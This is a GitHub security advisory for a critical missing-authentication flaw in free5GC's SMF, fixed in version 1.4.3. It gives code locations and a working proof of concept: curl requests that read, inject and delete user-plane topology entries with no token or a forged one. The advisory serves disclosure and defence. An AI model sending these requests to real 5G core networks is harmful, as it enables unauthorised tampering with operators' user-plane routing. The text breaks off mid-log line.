GitHub Security Advisory: GHSA-3258-qmv8-frp3
Package: github.com/free5gc/smf (GO)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-306: Missing Authentication for Critical Function, CWE-862: Missing Authorization
Vulnerable versions: < 1.4.3
Patched in: 1.4.3

Summary: free5GC's SMF UPI management interface lacks auth middleware; unauthenticated topology read/write requests reach handlers

Details:
### Summary
free5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations.

The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.

### Details
Validated against the SMF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/smf:v4.2.0`
- Docker validation date: 2026-03-13

Control comparison on the same SMF instance:
- `GET /upi/v1/upNodesLinks` (no token) -> `200 OK`
- `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized`

This side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process.

Code evidence (paths in `free5gc/smf`):
- UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76`
- OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95`
- UPI business handlers (read / write / delete on `upNodesLinks`):
  - `NFs/smf/internal/sbi/api_upi.go:44`
  - `NFs/smf/internal/sbi/api_upi.go:60`
  - `NFs/smf/internal/sbi/api_upi.go:84`

### PoC
Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`.

1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`:
```
curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks
```

2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`:
```
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'
```

3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):
```
curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \
  -H 'Authorization: Bearer not-a-real-token'
```

4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`:
```
curl -i http://10.100.200.6:8000/nsmf-oam/v1/
```

SMF container logs (`docker logs smf`) confirm the side-by-side behavior:
```
[INFO][SMF][GIN] | 200 | GET    | /upi/v1/upNod